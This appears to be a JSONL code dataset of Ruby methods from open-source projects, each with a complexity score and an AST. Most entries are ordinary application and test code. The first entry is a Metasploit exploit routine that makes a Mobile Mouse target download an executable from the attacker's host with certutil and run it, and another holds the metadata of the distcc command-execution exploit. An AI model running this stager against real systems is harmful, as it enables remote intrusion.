{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/misc/mobile_mouse_rce.rb","start_line":152,"raw_source":"def exploit\n    if datastore['CLIENTNAME'].blank?\n      @client_name = Rex::Text.rand_text_alphanumeric(5..10).to_s\n      print_status(\"Client name set to: #{@client_name}\")\n    else\n      @client_name = datastore['CLIENTNAME']\n    end\n\n    connect\n\n    print_status('Connecting')\n    connect_command\n    res = sock.get_once\n    if res.nil?\n      fail_with(Failure::Disconnected, 'No response received from target')\n    end\n\n    res = res.split(\"\\x1E\")\n    if res[1] == 'NO'\n      fail_with(Failure::NoAccess, \"Unable to connect, server response: #{res[4]}\")\n    end\n    vprint_good(\"Connected to hostname #{res[3]} with MAC address #{res[5]}\")\n\n    print_status('Opening Command Prompt')\n    open_command_prompt\n    # for whatever reason, if we don't read here the server doesn't want to keep playing with us, so read but throw away\n    sock.get_once\n\n    print_status('Sending stager')\n    filename = Rex::Text.rand_text_alphanumeric(rand(8..17)) + '.exe'\n    register_file_for_cleanup(\"#{path}#{filename}\")\n    # I attempted to put this all in one, stage, run, exit, but it was never successful, so we'll keep it in 2\n    stager = \"certutil.exe -urlcache -f http://#{datastore['lhost']}:#{datastore['SRVPORT']}/ #{path}#{filename}\"\n    start_service('Path' => '/') # start webserver\n    script_content(stager)\n\n    print_status('Opening Command Prompt again')\n    open_command_prompt\n    print_status('Executing payload')\n    script_content(\"#{path}#{filename} && exit\")\n\n    handler\n    disconnect\n    sleep(datastore['SLEEP'] * 2) # give time for it to do its thing before we revert\n  end","complexity_score":67.98,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"CLIENTNAME\"]}]},\"blank?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@client_name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alphanumeric\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[5]},{\"type\":\"int\",\"children\":[10]}]}]},\"to_s\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Client name set to: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@client_name\"]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@client_name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"CLIENTNAME\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"connect\"]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Connecting\"]}]},{\"type\":\"send\",\"children\":[null,\"connect_command\"]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"get_once\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Disconnected\"]},{\"type\":\"str\",\"children\":[\"No response received from target\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"split\",{\"type\":\"str\",\"children\":[\"\\u001e\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"==\",{\"type\":\"str\",\"children\":[\"NO\"]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NoAccess\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unable to connect, server response: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"[]\",{\"type\":\"int\",\"children\":[4]}]}]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"vprint_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Connected to hostname \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"[]\",{\"type\":\"int\",\"children\":[3]}]}]},{\"type\":\"str\",\"children\":[\" with MAC address \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"[]\",{\"type\":\"int\",\"children\":[5]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Opening Command Prompt\"]}]},{\"type\":\"send\",\"children\":[null,\"open_command_prompt\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"get_once\"]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Sending stager\"]}]},{\"type\":\"lvasgn\",\"children\":[\"filename\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alphanumeric\",{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[8]},{\"type\":\"int\",\"children\":[17]}]}]}]},\"+\",{\"type\":\"str\",\"children\":[\".exe\"]}]}]},{\"type\":\"send\",\"children\":[null,\"register_file_for_cleanup\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filename\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"stager\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"certutil.exe -urlcache -f http://\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"lhost\"]}]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SRVPORT\"]}]}]},{\"type\":\"str\",\"children\":[\"/ \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filename\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"start_service\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Path\"]},{\"type\":\"str\",\"children\":[\"/\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"script_content\",{\"type\":\"lvar\",\"children\":[\"stager\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Opening Command Prompt again\"]}]},{\"type\":\"send\",\"children\":[null,\"open_command_prompt\"]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Executing payload\"]}]},{\"type\":\"send\",\"children\":[null,\"script_content\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filename\"]}]},{\"type\":\"str\",\"children\":[\" && exit\"]}]}]},{\"type\":\"send\",\"children\":[null,\"handler\"]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]},{\"type\":\"send\",\"children\":[null,\"sleep\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SLEEP\"]}]},\"*\",{\"type\":\"int\",\"children\":[2]}]}]}]}]}","id":"3495b3dc-2e48-4022-b061-83a658a72992"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/shared_contexts/lib/gitlab/database/load_balancing/wal_tracking_shared_context.rb","start_line":61,"raw_source":"def stub_write_performed!\n    Gitlab::Database::LoadBalancing.each_load_balancer do |lb|\n      allow(Gitlab::Database::LoadBalancing::SessionMap.current(lb)).to receive(:use_primary?).and_return(true)\n    end\n  end","complexity_score":8.7,"ast_json":"{\"type\":\"def\",\"children\":[\"stub_write_performed!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Database\"]},\"LoadBalancing\"]},\"each_load_balancer\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"lb\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Database\"]},\"LoadBalancing\"]},\"SessionMap\"]},\"current\",{\"type\":\"lvar\",\"children\":[\"lb\"]}]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"use_primary?\"]}]},\"and_return\",{\"type\":\"true\",\"children\":[]}]}]}]}]}","id":"f9fb22c1-7cac-40b1-bc3c-519120fd2f41"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/spec/system/page_objects/chat/chat.rb","start_line":162,"raw_source":"def drawer?(expectation:, channel_id: nil, expanded: true)\n        selector = \".chat-drawer\"\n        selector += \".is-expanded\" if expanded\n        selector += \"[data-chat-channel-id=\\\"#{channel_id}\\\"]\" if channel_id\n        expectation ? has_css?(selector) : has_no_css?(selector)\n      end","complexity_score":10.6,"ast_json":"{\"type\":\"def\",\"children\":[\"drawer?\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"expectation\"]},{\"type\":\"kwoptarg\",\"children\":[\"channel_id\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"expanded\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"selector\",{\"type\":\"str\",\"children\":[\".chat-drawer\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expanded\"]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"selector\"]},\"+\",{\"type\":\"str\",\"children\":[\".is-expanded\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"channel_id\"]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"selector\"]},\"+\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"[data-chat-channel-id=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"channel_id\"]}]},{\"type\":\"str\",\"children\":[\"\\\"]\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expectation\"]},{\"type\":\"send\",\"children\":[null,\"has_css?\",{\"type\":\"lvar\",\"children\":[\"selector\"]}]},{\"type\":\"send\",\"children\":[null,\"has_no_css?\",{\"type\":\"lvar\",\"children\":[\"selector\"]}]}]}]}]}","id":"c8aa6037-f151-47e6-a969-80d5ef04fb05"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/arel/visitors/mysql.rb","start_line":49,"raw_source":"def visit_Arel_Nodes_IsDistinctFrom(o, collector)\n          collector << \"NOT \"\n          visit_Arel_Nodes_IsNotDistinctFrom o, collector\n        end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"visit_Arel_Nodes_IsDistinctFrom\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"o\"]},{\"type\":\"arg\",\"children\":[\"collector\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"collector\"]},\"<<\",{\"type\":\"str\",\"children\":[\"NOT \"]}]},{\"type\":\"send\",\"children\":[null,\"visit_Arel_Nodes_IsNotDistinctFrom\",{\"type\":\"lvar\",\"children\":[\"o\"]},{\"type\":\"lvar\",\"children\":[\"collector\"]}]}]}]}","id":"249ffd91-b4eb-4cbe-b727-1181d8065491"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/work_packages/reminders_controller.rb","start_line":110,"raw_source":"def reminder_chosen_time(reminder)\n    OpPrimer::RelativeTimeComponent.new(\n      datetime: in_user_zone(reminder.remind_at),\n      month: :long\n    ).render_in(view_context)\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"reminder_chosen_time\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"reminder\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpPrimer\"]},\"RelativeTimeComponent\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"datetime\"]},{\"type\":\"send\",\"children\":[null,\"in_user_zone\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reminder\"]},\"remind_at\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"month\"]},{\"type\":\"sym\",\"children\":[\"long\"]}]}]}]},\"render_in\",{\"type\":\"send\",\"children\":[null,\"view_context\"]}]}]}","id":"7f26e44e-d3de-4bea-b5ba-ffddf6749702"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/unix/misc/distcc_exec.rb","start_line":11,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'DistCC Daemon Command Execution',\n        'Description' => %q{\n          This module uses a documented security weakness to execute\n          arbitrary commands on any system running distccd.\n        },\n        'Author' => [ 'hdm' ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          [ 'CVE', '2004-2687'],\n          [ 'OSVDB', '13378' ],\n          [ 'URL', 'http://distcc.samba.org/security.html'],\n\n        ],\n        'Platform' => ['unix'],\n        'Arch' => ARCH_CMD,\n        'Privileged' => false,\n        'Payload' => {\n          'Space' => 1024,\n          'DisableNops' => true,\n          'Compat' =>\n                        {\n                          'PayloadType' => 'cmd cmd_bash',\n                          'RequiredCmd' => 'generic perl ruby bash telnet openssl bash-tcp',\n                        }\n        },\n        'Targets' => [\n          [ 'Automatic Target', {}]\n        ],\n        'DefaultTarget' => 0,\n        'DisclosureDate' => '2002-02-01',\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        Opt::RPORT(3632)\n      ]\n    )\n  end","complexity_score":5.85,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"DistCC Daemon Command Execution\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module uses a documented security weakness to execute\\n\"]},{\"type\":\"str\",\"children\":[\"          arbitrary commands on any system running distccd.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"hdm\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2004-2687\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"13378\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"http://distcc.samba.org/security.html\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"unix\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"int\",\"children\":[1024]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisableNops\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Compat\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PayloadType\"]},{\"type\":\"str\",\"children\":[\"cmd cmd_bash\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RequiredCmd\"]},{\"type\":\"str\",\"children\":[\"generic perl ruby bash telnet openssl bash-tcp\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Automatic Target\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2002-02-01\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[3632]}]}]}]}]}]}","id":"80b39da6-b29f-4e62-b40f-6c85f958bfb2"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/enterprise/app/models/concerns/safe_endpoint_validatable.rb","start_line":34,"raw_source":"def validate_endpoint_scheme(uri)\n    return if uri.scheme == 'https'\n\n    errors.add(:endpoint_url, 'must use HTTPS protocol')\n  end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_endpoint_scheme\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"uri\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"scheme\"]},\"==\",{\"type\":\"str\",\"children\":[\"https\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"endpoint_url\"]},{\"type\":\"str\",\"children\":[\"must use HTTPS protocol\"]}]}]}]}","id":"fd5a759f-16db-4309-aeca-809117e669a3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/services/repository_archive_clean_up_service_spec.rb","start_line":123,"raw_source":"def create_temporary_files(dir, extensions, mtime)\n    FileUtils.mkdir_p(dir)\n    FileUtils.touch(extensions.map { |ext| File.join(dir, \"sample.#{ext}\") }, mtime: Time.now.utc - mtime)\n  end","complexity_score":9.9,"ast_json":"{\"type\":\"def\",\"children\":[\"create_temporary_files\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"dir\"]},{\"type\":\"arg\",\"children\":[\"extensions\"]},{\"type\":\"arg\",\"children\":[\"mtime\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileUtils\"]},\"mkdir_p\",{\"type\":\"lvar\",\"children\":[\"dir\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileUtils\"]},\"touch\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"extensions\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ext\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"lvar\",\"children\":[\"dir\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"sample.\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ext\"]}]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mtime\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"utc\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"mtime\"]}]}]}]}]}]}]}","id":"ae473606-5687-45f2-9dec-9dae934e80d6"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/postgres/buffer.rb","start_line":25,"raw_source":"def initialize(content)\n    @size = content.size\n    @content = content\n    @position = 0\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"content\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@size\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"content\"]},\"size\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@content\",{\"type\":\"lvar\",\"children\":[\"content\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@position\",{\"type\":\"int\",\"children\":[0]}]}]}]}","id":"8f3672ed-0267-4ea9-9c4a-fd3abc30275d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/rubocop/cop/usage_data/distinct_count_by_large_foreign_key.rb","start_line":49,"raw_source":"def batch_set_to_false?(options)\n          return false unless options.is_a?(RuboCop::AST::HashNode)\n\n          batch_set_to_false = false\n          options.each_pair do |key, value|\n            next unless value.boolean_type? && value.falsey_literal?\n            next unless key.sym_type? && key.value == :batch\n\n            batch_set_to_false = true\n            break\n          end\n\n          batch_set_to_false\n        end","complexity_score":17.7,"ast_json":"{\"type\":\"def\",\"children\":[\"batch_set_to_false?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RuboCop\"]},\"AST\"]},\"HashNode\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"batch_set_to_false\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"each_pair\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"boolean_type?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"falsey_literal?\"]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"sym_type?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"value\"]},\"==\",{\"type\":\"sym\",\"children\":[\"batch\"]}]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"batch_set_to_false\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"break\",\"children\":[]}]}]},{\"type\":\"lvar\",\"children\":[\"batch_set_to_false\"]}]}]}","id":"d4430a34-f695-433c-9ade-3a2deaf106b0"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-narrative-bot/lib/discourse_narrative_bot/actions.rb","start_line":7,"raw_source":"def discobot_user\n      @discobot ||= User.find(-2)\n    end","complexity_score":2.3,"ast_json":"{\"type\":\"def\",\"children\":[\"discobot_user\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@discobot\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"find\",{\"type\":\"int\",\"children\":[-2]}]}]}]}","id":"95bfc21d-2681-4b03-874e-8bcd055929ea"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/queries/base_query.rb","start_line":104,"raw_source":"def select(*select_values, add_not_existing: true)\n    select_values.each do |select_value|\n      select_column = select_for(select_value)\n\n      if !select_column.is_a?(::Queries::Selects::NotExistingSelect) || add_not_existing\n        selects << select_column\n      end\n    end\n\n    self\n  end","complexity_score":12.4,"ast_json":"{\"type\":\"def\",\"children\":[\"select\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"select_values\"]},{\"type\":\"kwoptarg\",\"children\":[\"add_not_existing\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"select_values\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"select_value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"select_column\",{\"type\":\"send\",\"children\":[null,\"select_for\",{\"type\":\"lvar\",\"children\":[\"select_value\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"select_column\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Queries\"]},\"Selects\"]},\"NotExistingSelect\"]}]},\"!\"]},{\"type\":\"lvar\",\"children\":[\"add_not_existing\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"selects\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"select_column\"]}]},null]}]}]},{\"type\":\"self\",\"children\":[]}]}]}","id":"0a34e3df-0650-4a84-86bb-62350814f205"}
